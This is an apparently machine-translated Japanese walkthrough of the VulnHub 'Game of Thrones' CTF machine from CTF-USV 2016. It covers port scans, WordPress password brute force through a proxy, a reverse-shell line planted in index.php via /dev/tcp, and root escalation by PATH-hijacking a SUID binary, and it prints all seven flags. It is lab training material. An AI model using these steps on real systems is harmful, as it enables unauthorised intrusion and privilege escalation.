こんにちは、この記事では、ルーマニアのCTF-USV 2016のトピック「ゲームオブスローンズ」についての決定を検討します。 VulnHubのリンクから仮想マシンのイメージをダウンロードできます。
ルーマニアでの大学間CTFの開催方法に関心がある場合は、
CTFについて少し
CTF-USV 2016は、スチャヴァ大学がルーマニアで開催した最初の情報セキュリティの留学生コンテストです。 セキュリティチャレンジの作成、結果の評価、CTF環境の構築は、Safetech Tech Teamによって提供されました:Oana Stoian(@gusu_oana)、Teodor Lupan(@theologu)、およびIonut Georgescu(@ ionutge1)
次の形式の合計7つのフラグがあります: Country_name Flag:[md5 hash] 。
さあ始めましょう!
nmapターゲットを調べてみましょう。
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
2017-01-15 19:47 MSKにNmap 7.01( nmap.org )を開始
192.168.1.102のNmapスキャンレポート
ホストが稼働しています(0.00057秒の遅延)。
表示されていません:65529閉じたポート
ポートステートサービスバージョン
22 / tcp open ssh OpenSSH 7.3(プロトコル2.0)
80 / tcp open http Apache httpd
3129 / tcp open http-proxy Squid http proxy 3.5.22
3306 / tcp open mysql MariaDB(無許可)
4444 / tcp open http Foundry EdgeIronスイッチhttp config
21211 / tcp open ftp vsftpd 2.0.8以降
MACアドレス:08:00:27:2B:64:55(Oracle VirtualBox仮想NIC)
サービス情報:ホスト:SevenKingdoms; デバイス:スイッチ
そして、フラグに行きましょう...
フラグ1(クロアチア)
最初のフラグでは、すべてが簡単です。 niktoを起動すると、異常なヘッダーの存在がすぐに通知されます。
$ nikto -h 192.168.1.102
+珍しいヘッダー 'x-xss-protection'が見つかりました。内容:Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxNDM5OGFlYjc1MDQ0ZTljZDRjMGViYg ==
デコード:
$ echo Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxNDM5OGFlYjc1MDQ0ZTljZDRjMGViYg== | base64 -d Croatia Flag: 0c326784214398aeb75044e9cd4c0ebb
フラグ2(イタリア)
sshを介して接続すると、このようなドラゴンを見ることができます 。 そして、暗号化された行の一番下で:
wDOW0gW / QssEtq5Y3nHX4XlbH / Dnz27qHFhHVpMulJSyDCvex ++ YCd42tx7HKGgB
注意深く調べると、写真を構成するいくつかの文字の存在に気づくでしょう。 すべてをまとめると、次のようになります。
AES ECB xxxxx0000000xxxxxx
アルゴリズム、キー、暗号化されたメッセージがあります。たとえば、 ここで 、復号化して2番目のフラグを取得します。
イタリアの国旗:0047449b33fbae830d833721edaef6f1
フラグ3(ポルトガル)
ウェブに渡します。 Webサイト(ポート80)とプロキシ(ポート3129)があります。 設定でプロキシサーバーのアドレスとポート(この場合-攻撃されたマシン)を指定したら、サイトを開きます。
大したことはありません、続けましょう:
平凡なWordPress、目立ったものは何もない。 インデックスページを開くと、ブログにアクセスできます。 「ゲームオブスローンズ」に関する記事がいくつかあります。 最初に目を引くのは、次の出版物です。
この画像を開くと、 hodorディレクトリにあることがわかります。
どちらに進んだら、アーカイブをダウンロードするよう提案されます:
アーカイブには画像が待っています。
そしてフラグ:
$ echo UG9ydHVnYWwgRmxhZzogYTI2NjNiMjMwNDVkZTU2YzdlOTZhNDA2NDI5ZjczM2Y= | base64 -d Portugal Flag: a2663b23045de56c7e96a406429f733f
フラグ4(パラグアイ)
ページの一番下で、この投稿に注目が集まっています。
サイトを解析し、ブルートフォースパスワードで辞書を収集します。
cewl --proxy_host 192.168.1.102 --proxy_port 3129 http://192.168.1.102/blog/ > blog.lst
検索を開始してしばらくすると、 patatorは正しいパスワードを提供します。
$ patator http_fuzz http_proxy=192.168.1.102:3129 url='http://192.168.1.102/blog/wp-login.php?action=postpass' method=POST header='Referer: "http://192.168.1.102/blog/index.php/2016/10/16/the-secret-chapter/"' body='post_password=FILE0&Submit=Enter' 0=blog.lst -x ignore:fgrep='post-password-form' follow=1 accept_cookie=1
入力すると、この出版物の内容にアクセスできます。
ここにあるbase64行をデコードして、新しいフラグを取得します。
$ echo UGFyYWd1YXkgRmxhZzogNDc2MWI2NWYyMDA1MzY3NDY1N2M3ZTYxODY2MjhhMjk= | base64 -d Paraguay Flag: 4761b65f20053674657c7e6186628a29
フラグ5(タイ)
あなたがこの投稿の内容を信じているなら、パスワードは私たちの目の前にあります。はい、ここの写真は明らかに件名の中にあります。 ただし、よく見ると、次のフレーズがあります。
彼女は彼女の軍隊のためにフィールドTを雨が降っているP賠償を使用します。
さて、ログインする場所はわかっていますが、パスワードはそのままです。 最初に個々の単語を入力しようとした後、フレーズのスニペットをそこに追加し、すぐにヒドラは必要なものを見つけました:
接続します:
$ ftp 192.168.1.102 21211 ftp> ls -ahl 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. dr-xr-xr-x 2 1000 1000 4096 Dec 05 20:05 . dr-xr-xr-x 2 1000 1000 4096 Dec 05 20:05 .. -rw-r--r-- 1 0 0 94 Dec 05 20:04 .note.txt -rw-r--r-- 1 0 0 32 Dec 05 20:05 readme.txt 226 Directory send OK.
利用可能なすべてのファイルをダウンロードしてから、調査します。
ftp> get readme.txt local: readme.txt remote: readme.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for readme.txt (32 bytes). 226 Transfer complete. 32 bytes received in 0.00 secs (226.4 kB/s) ftp> get .note.txt local: .note.txt remote: .note.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for .note.txt (94 bytes). 226 Transfer complete. 94 bytes received in 0.00 secs (791.4 kB/s)
最初のファイルは興味深いものではありません。
readme.txt
私は自分のために隠しメモを保管します
しかし、2番目は注目に値します。
.note.txt
私はいつもパスワードを忘れていたので、私のブログアカウントには子供の名前を使用しました。
-=デナーリス=-
-=デナーリス=-
パスワードのヒントを学びました-これらは彼女の子供の名前です、 グーグルは問題の子供とその名前をすぐに提案しました。 したがって、 クランチを開始して、辞書の生成に進みます。
$ crunch 1 1 -p Rhaegal Viserion Drogon > dragons
これをwpscanに送信して、繰り返し処理します。
$ sudo ./wpscan.rb --proxy 192.168.1.102:3129 --url http://192.168.1.102/blog/ --username mother_of_dragons --wordlist dragons
しばらくして、WordPress管理パネルからパスワードを取得します。 ログインして、現在のユーザーのプロファイルで次のフラグを見つけます。
$ echo VGhhaWxhbmQgRmxhZzogNmFkNzk2NWQxZTA1Y2E5OGIzZWZjNzZkYmY5ZmQ3MzM= | base64 -d Thailand Flag: 6ad7965d1e05ca98b3efc76dbf9fd733
旗6(モンゴル)
判明したように、 Daenerysはこのブログの管理者権限を持っているため、 index.phpファイルを編集して、次の行を追加して自分用のシェルを作成します。
system('bash -i >& /dev/tcp/192.168.1.124/4444 0>&1');
netcatを起動し、ブラウザでページをリロードすると、シェルが取得されます。
システムを見て回ると、Webサーバーのディレクトリにある、 reward_flag.txtファイルに注意が向けられます。
[http@arch blog]$ ls -ahl ../ total 92K drwxr-xr-x 3 root root 4.0K Nov 17 15:43 . drwxr-xr-x 4 root root 4.0K May 31 2013 .. drwxr-xr-x 6 http http 4.0K Jan 15 19:52 blog -rw-r--r-- 1 root root 59K Nov 16 19:59 gtr.jpg -rw-r--r-- 1 root root 3.2K Nov 16 20:01 index.html -rw-r--r-- 1 root root 65 Nov 17 15:41 reward_flag.txt -rwsr-sr-x 1 root root 8.3K Nov 17 14:55 winterfell_messenger
それを開いてみましょう、明らかに、フラグがあるはずです:
[http@arch blog]$ cat ../reward_flag.txt TW9uZ29saWEgRmxhZzogNmI0OWMxM2NjY2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ= [http@arch blog]$ echo TW9uZ29saWEgRmxhZzogNmI0OWMxM2NjY2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ= | base64 -d Mongolia Flag: 6b49c13cccd91940f09d79e142108394
フラグ7(ソマリア)
最後のフラグがあるディレクトリには、別のwinterfell_messengerアプリケーションがあります。これは、SUIDビットの存在から判断すると、おそらくシステムでの特権を高めるのに役立ちます。 それを実行して、それが何をするかを見てください:
[http@arch http]$ ./winterfell_messenger cat: /root/message.txt: No such file or directory
それでは、ラインはどうですか?
文字列./winterfell_messenger
[http @ arch http] $ string ./winterfell_messenger
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
システム
__libc_start_main
__gmon_start__
GLIBC_2.2.5
Uh-8
アワバ
オーアトル
[] A \ A] A ^ A_
cat /root/message.txt
; * 3 $ "
GCC:(GNU)6.1.1 20160802
GCC:(GNU)6.2.1 20160830
init.c
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
完了.6916
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_edata
システム@@ GLIBC_2.2.5
__libc_start_main @@ GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
メイン
__TMC_END__
setuid @@ GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
あなたはそれを逆にする必要さえありません、 setuid 、およびcatコマンドの相対パスを使用するシステムがあり ます 。
system()はstringで指定されたコマンドを実行し、コマンド/ bin / sh -c stringを呼び出して、コマンドが完了すると戻ります。
一般的に、 おなじみのアルゴリズムに従います。
[http@arch http]$ PATH=/tmp:$PATH [http@arch http]$ echo "/bin/bash" > /tmp/cat [http@arch tmp]$ chmod +x cat
脆弱なプログラムを実行し、シェルを取得します。
[http@arch tmp]$ /srv/http/winterfell_messenger /srv/http/winterfell_messenger id uid=0(root) gid=33(http) groups=33(http)
ルートディレクトリで最後のフラグを見つけます。
echo U29tYWxpYSBGbGFnOiA0YTY0YTU3NWJlODBmOGZmYWIyNmIwNmE5NThiY2YzNA== | base64 -d Somalia Flag: 4a64a575be80f8ffab26b06a958bcf34
おめでとうございます。
説明で述べたように、これは彼らの最初のCTFです。 初めてのことですが、繰り返す価値はありません。残念ながら、実際の生活ではディレクトリの平凡なスキャンで誰も驚かないため、このトピックの開発を続けて、より洗練されたタスクを追加してください。